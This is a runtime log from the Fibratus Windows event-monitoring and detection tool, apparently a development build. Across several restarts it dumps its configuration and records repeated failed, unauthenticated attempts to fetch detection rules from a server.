serialize-threads=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ min-buffers=>16 enable-threadpool=>false enable-vamap=>true enable-fileio=>true enable-dns=>false enable-image=>true max-buffers=>36 flush-interval=>1s enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true enable-thread=>true stack-enrichment=>true enable-registry=>true enable-net=>true enable-mem=>false buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 formatter=>text max-backups=>15 level=>info max-size=>100 log-stdout=>true] + output ......................... [ amqp=>[ passive=>false enabled=>false vhost=>/ exchange-type=>topic exchange=>fibratus routing-key=>fibratus durable=>false tls-insecure-skip-verify=>false timeout=>5s delivery-mode=>transient url=>amqp://localhost:5672] eventlog=>[ level=>info enabled=>false] http=>[ timeout=>5s endpoints=>[] enabled=>false tls-insecure-skip-verify=>false serializer=>json method=>POST enable-gzip=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] elasticsearch=>[ flush-period=>1s healthcheck-interval=>10s template-name=>fibratus timeout=>5s healthcheck-timeout=>5s bulk-workers=>1 gzip-compression=>false healthcheck=>true index-name=>fibratus trace-log=>false servers=>[http://127.0.0.1:9200] enabled=>false sniff=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false enabled=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s enabled=>false fastscan=>true skip-registry=>false excluded-files=>[] skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] skip-mmaps=>false skip-allocs=>false] source=bootstrap/bootstrap.go:171 +time=2025-11-06T23:06:23+01:00 level=info msg=connecting to the server... source=bootstrap/bootstrap.go:176 +time=2025-11-06T23:06:23+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 1.421556985s... source=client/rulestore.go:59 +time=2025-11-06T23:06:24+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 2.716655519s... source=client/rulestore.go:59 +time=2025-11-06T23:06:27+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 3.822132733s... source=client/rulestore.go:59 +time=2025-11-06T23:06:36+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 14.090305376s... source=client/rulestore.go:59 +time=2025-11-06T23:06:38+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-06T23:06:50+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 5.933901298s... source=client/rulestore.go:59 +time=2025-11-06T23:07:01+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 6.673929976s... source=client/rulestore.go:59 +time=2025-11-06T23:07:07+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 13.413630304s... source=client/rulestore.go:59 +time=2025-11-06T23:07:12+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 5.602142205s... source=client/rulestore.go:59 +time=2025-11-06T23:07:19+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 13.272092142s... source=client/rulestore.go:59 +time=2025-11-06T23:07:24+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 6.764560652s... source=client/rulestore.go:59 +time=2025-11-06T23:07:30+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 12.087157419s... source=client/rulestore.go:59 +time=2025-11-06T23:07:39+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 9.406875099s... source=client/rulestore.go:59 +time=2025-11-06T23:12:37+01:00 level=info msg=bootstrapping with pid 5496. Version: dev source=bootstrap/bootstrap.go:170 +time=2025-11-06T23:12:37+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] content-type=>text/html port=>25 use-template=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ buffer-size=>512 enable-registry=>true enable-vamap=>true enable-dns=>false enable-threadpool=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>false max-buffers=>36 flush-interval=>1s stack-enrichment=>true enable-thread=>true enable-fileio=>true enable-handle=>false enable-image=>true enable-audit-api=>true min-buffers=>16 enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 level=>info log-stdout=>true max-age=>0 formatter=>text max-size=>100] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] amqp=>[ exchange-type=>topic url=>amqp://localhost:5672 durable=>false vhost=>/ tls-insecure-skip-verify=>false timeout=>5s routing-key=>fibratus delivery-mode=>transient enabled=>false exchange=>fibratus passive=>false] elasticsearch=>[ enabled=>false timeout=>5s template-name=>fibratus healthcheck-interval=>10s healthcheck=>true bulk-workers=>1 flush-period=>1s trace-log=>false sniff=>false healthcheck-timeout=>5s index-name=>fibratus gzip-compression=>false servers=>[http://127.0.0.1:9200]] eventlog=>[ level=>info enabled=>false] http=>[ serializer=>json timeout=>5s endpoints=>[] enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false method=>POST]] + pe ............................. [ enabled=>false read-resources=>false read-sections=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false fastscan=>true skip-files=>false scan-timeout=>10s excluded-procs=>[] skip-registry=>false skip-mmaps=>false enabled=>false] source=bootstrap/bootstrap.go:171 +time=2025-11-06T23:12:37+01:00 level=info msg=connecting to the server... source=bootstrap/bootstrap.go:176 +time=2025-11-06T23:12:37+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 968.289911ms... source=client/rulestore.go:67 +time=2025-11-06T23:12:39+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 1.190147396s... source=client/rulestore.go:67 +time=2025-11-06T23:12:42+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 5.360438223s... source=client/rulestore.go:67 +time=2025-11-06T23:12:51+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 8.945342781s... source=client/rulestore.go:67 +time=2025-11-06T23:12:52+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-06T23:13:02+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 14.334404316s... source=client/rulestore.go:67 +time=2025-11-06T23:13:15+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 12.037234046s... source=client/rulestore.go:67 +time=2025-11-06T23:13:23+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 7.247512223s... source=client/rulestore.go:67 +time=2025-11-06T23:13:28+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 13.894216361s... source=client/rulestore.go:67 +time=2025-11-06T23:13:38+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 14.52503823s... source=client/rulestore.go:67 +time=2025-11-06T23:13:53+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 8.084509107s... source=client/rulestore.go:67 +time=2025-11-06T23:13:59+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 12.80131632s... source=client/rulestore.go:67 +time=2025-11-06T23:14:07+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 7.601765874s... source=client/rulestore.go:67 +time=2025-11-06T23:14:12+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 12.907626482s... source=client/rulestore.go:67 +time=2025-11-06T23:14:26+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 7.878024864s... source=client/rulestore.go:67 +time=2025-11-06T23:14:38+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 12.422587557s... source=client/rulestore.go:67 +time=2025-11-06T23:14:48+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 9.9033903s... source=client/rulestore.go:67 +time=2025-11-06T23:15:24+01:00 level=info msg=bootstrapping with pid 17372. Version: dev source=bootstrap/bootstrap.go:170 +time=2025-11-06T23:15:24+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] use-template=>true content-type=>text/html port=>25 enabled=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ flush-interval=>1s enable-mem=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-handle=>false enable-image=>true stack-enrichment=>true enable-vamap=>true min-buffers=>16 enable-registry=>true enable-audit-api=>true enable-threadpool=>false enable-thread=>true buffer-size=>512 enable-fileio=>true enable-net=>true max-buffers=>36 enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-backups=>15 level=>info max-age=>0 formatter=>text log-stdout=>true] + output ......................... [ amqp=>[ durable=>false passive=>false exchange-type=>topic tls-insecure-skip-verify=>false vhost=>/ exchange=>fibratus timeout=>5s url=>amqp://localhost:5672 delivery-mode=>transient routing-key=>fibratus enabled=>false] elasticsearch=>[ gzip-compression=>false trace-log=>false healthcheck-timeout=>5s timeout=>5s flush-period=>1s sniff=>false healthcheck-interval=>10s enabled=>false servers=>[http://127.0.0.1:9200] index-name=>fibratus healthcheck=>true bulk-workers=>1 template-name=>fibratus] http=>[ serializer=>json timeout=>5s method=>POST tls-insecure-skip-verify=>false enable-gzip=>false endpoints=>[] enabled=>false] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty]] + pe ............................. [ read-sections=>false enabled=>false read-resources=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-mmaps=>false skip-registry=>false excluded-procs=>[] scan-timeout=>10s excluded-files=>[] fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false skip-files=>false] source=bootstrap/bootstrap.go:171 +time=2025-11-06T23:15:24+01:00 level=info msg=connecting to the server... source=bootstrap/bootstrap.go:176 +time=2025-11-06T23:15:24+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 1.406745777s... source=client/rulestore.go:68 +time=2025-11-06T23:15:25+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 2.764078528s... source=client/rulestore.go:68 +time=2025-11-06T23:15:29+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 6.200669827s... source=client/rulestore.go:68 +time=2025-11-06T23:15:32+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-06T23:15:34+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 10.530620131s... source=client/rulestore.go:68 +time=2025-11-06T23:15:46+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 12.782907218s... source=client/rulestore.go:68 +time=2025-11-06T23:16:00+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 14.094465305s... source=client/rulestore.go:68 +time=2025-11-06T23:16:07+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 13.174652641s... source=client/rulestore.go:68 +time=2025-11-06T23:16:19+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 14.8802624s... source=client/rulestore.go:68 +time=2025-11-06T23:16:26+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 9.274695287s... source=client/rulestore.go:68 +time=2025-11-06T23:16:50+01:00 level=info msg=bootstrapping with pid 760. Version: dev source=bootstrap/bootstrap.go:170 +time=2025-11-06T23:16:50+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ content-type=>text/html use-template=>true port=>25 to=>[] enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-registry=>true enable-audit-api=>true enable-dns=>false stack-enrichment=>true buffer-size=>512 enable-net=>true enable-mem=>false enable-image=>true enable-vamap=>true enable-threadpool=>false min-buffers=>16 max-buffers=>36 enable-thread=>true enable-handle=>false flush-interval=>1s enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-size=>100 level=>info formatter=>text max-backups=>15 log-stdout=>true] + output ......................... [ elasticsearch=>[ gzip-compression=>false trace-log=>false sniff=>false healthcheck=>true healthcheck-timeout=>5s index-name=>fibratus template-name=>fibratus servers=>[http://127.0.0.1:9200] enabled=>false healthcheck-interval=>10s bulk-workers=>1 flush-period=>1s timeout=>5s] amqp=>[ timeout=>5s passive=>false exchange-type=>topic routing-key=>fibratus enabled=>false durable=>false url=>amqp://localhost:5672 delivery-mode=>transient tls-insecure-skip-verify=>false vhost=>/ exchange=>fibratus] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] http=>[ method=>POST enabled=>false tls-insecure-skip-verify=>false endpoints=>[] enable-gzip=>false serializer=>json timeout=>5s]] + pe ............................. [ read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false scan-timeout=>10s skip-mmaps=>false excluded-procs=>[] excluded-files=>[] enabled=>false skip-files=>false fastscan=>true skip-allocs=>false] source=bootstrap/bootstrap.go:171 +time=2025-11-06T23:16:50+01:00 level=info msg=connecting to the server... source=bootstrap/bootstrap.go:176 +time=2025-11-06T23:16:50+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 1.293973009s... source=client/rulestore.go:67 +time=2025-11-06T23:16:52+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 1.941120447s... source=client/rulestore.go:67 +time=2025-11-06T23:16:56+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-06T23:16:56+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 7.327470698s... source=client/rulestore.go:67 +time=2025-11-06T23:17:00+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 8.127152555s... source=client/rulestore.go:67 +time=2025-11-06T23:17:07+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 6.123433063s... source=client/rulestore.go:67 +time=2025-11-06T23:17:16+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 10.504620401s... source=client/rulestore.go:67 +time=2025-11-06T23:24:25+01:00 level=info msg=bootstrapping with pid 13928. Version: dev source=bootstrap/bootstrap.go:172 +time=2025-11-06T23:24:25+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ enabled=>true verbose=>true] mail=>[ enabled=>false use-template=>true content-type=>text/html to=>[] port=>25] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-dns=>false stack-enrichment=>true min-buffers=>16 enable-handle=>false enable-threadpool=>false enable-vamap=>true enable-registry=>true enable-mem=>false buffer-size=>512 max-buffers=>36 enable-audit-api=>true enable-thread=>true enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true flush-interval=>1s enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 log-stdout=>true max-age=>0 level=>info formatter=>text max-backups=>15] + output ......................... [ amqp=>[ timeout=>5s enabled=>false passive=>false url=>amqp://localhost:5672 routing-key=>fibratus delivery-mode=>transient exchange=>fibratus tls-insecure-skip-verify=>false durable=>false exchange-type=>topic vhost=>/] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] http=>[ tls-insecure-skip-verify=>false enable-gzip=>false method=>POST serializer=>json timeout=>5s enabled=>false endpoints=>[]] elasticsearch=>[ healthcheck=>true enabled=>false healthcheck-interval=>10s gzip-compression=>false index-name=>fibratus healthcheck-timeout=>5s trace-log=>false servers=>[http://127.0.0.1:9200] sniff=>false bulk-workers=>1 template-name=>fibratus timeout=>5s flush-period=>1s]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s fastscan=>true skip-mmaps=>false skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] skip-registry=>false skip-files=>false enabled=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:173 +time=2025-11-06T23:24:25+01:00 level=info msg=connecting to the server... source=bootstrap/bootstrap.go:178 +time=2025-11-06T23:24:25+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 573.445741ms... source=client/rulestore.go:67 +time=2025-11-06T23:24:27+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 1.36192133s... source=client/rulestore.go:67 +time=2025-11-06T23:24:31+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 5.425221521s... source=client/rulestore.go:67 +time=2025-11-06T23:24:31+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:42 +time=2025-11-06T23:25:33+01:00 level=info msg=bootstrapping with pid 17960. Version: dev source=bootstrap/bootstrap.go:172 +time=2025-11-06T23:25:33+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ use-template=>true port=>25 to=>[] enabled=>false content-type=>text/html] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-vamap=>true enable-net=>true flush-interval=>1s enable-dns=>false max-buffers=>36 buffer-size=>512 enable-thread=>true enable-audit-api=>true min-buffers=>16 stack-enrichment=>true enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-threadpool=>false enable-registry=>true enable-image=>true enable-mem=>false enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-age=>0 formatter=>text log-stdout=>true max-size=>100 max-backups=>15] + output ......................... [ console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] elasticsearch=>[ healthcheck=>true template-name=>fibratus flush-period=>1s healthcheck-timeout=>5s trace-log=>false servers=>[http://127.0.0.1:9200] timeout=>5s enabled=>false sniff=>false gzip-compression=>false bulk-workers=>1 healthcheck-interval=>10s index-name=>fibratus] http=>[ serializer=>json method=>POST enable-gzip=>false enabled=>false timeout=>5s tls-insecure-skip-verify=>false endpoints=>[]] amqp=>[ passive=>false exchange-type=>topic delivery-mode=>transient timeout=>5s durable=>false tls-insecure-skip-verify=>false routing-key=>fibratus exchange=>fibratus url=>amqp://localhost:5672 vhost=>/ enabled=>false] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-resources=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] enabled=>false skip-registry=>false skip-files=>false scan-timeout=>10s skip-mmaps=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] skip-allocs=>false] source=bootstrap/bootstrap.go:173 +time=2025-11-06T23:25:33+01:00 level=info msg=connecting to the server... source=bootstrap/bootstrap.go:178 +time=2025-11-06T23:25:33+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 665.575386ms... source=client/rulestore.go:66 +time=2025-11-06T23:25:34+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 3.216280713s... source=client/rulestore.go:66 +time=2025-11-06T23:25:37+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unauthenticated desc = invalid token. Retrying in 4.245013001s... source=client/rulestore.go:66 +time=2025-11-06T23:25:38+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:42 +time=2025-11-06T23:25:41+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Canceled desc = context canceled. Retrying in 10.087355263s... source=client/rulestore.go:66 +time=2025-11-06T23:25:52+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Canceled desc = context canceled. Retrying in 5.273813405s... source=client/rulestore.go:66 +time=2025-11-06T23:25:58+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Canceled desc = context canceled. Retrying in 8.091654207s... source=client/rulestore.go:66 +time=2025-11-06T23:36:30+01:00 level=info msg=bootstrapping with pid 6732. Version: dev source=bootstrap/bootstrap.go:172 +time=2025-11-06T23:36:30+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false use-template=>true content-type=>text/html to=>[] port=>25] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-registry=>true stack-enrichment=>true enable-thread=>true enable-vamap=>true enable-mem=>false enable-audit-api=>true enable-fileio=>true max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 enable-net=>true enable-handle=>false enable-image=>true min-buffers=>16 enable-threadpool=>false flush-interval=>1s enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-age=>0 max-size=>100 formatter=>text max-backups=>15 level=>info] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] http=>[ enable-gzip=>false enabled=>false timeout=>5s tls-insecure-skip-verify=>false serializer=>json method=>POST endpoints=>[]] amqp=>[ routing-key=>fibratus delivery-mode=>transient 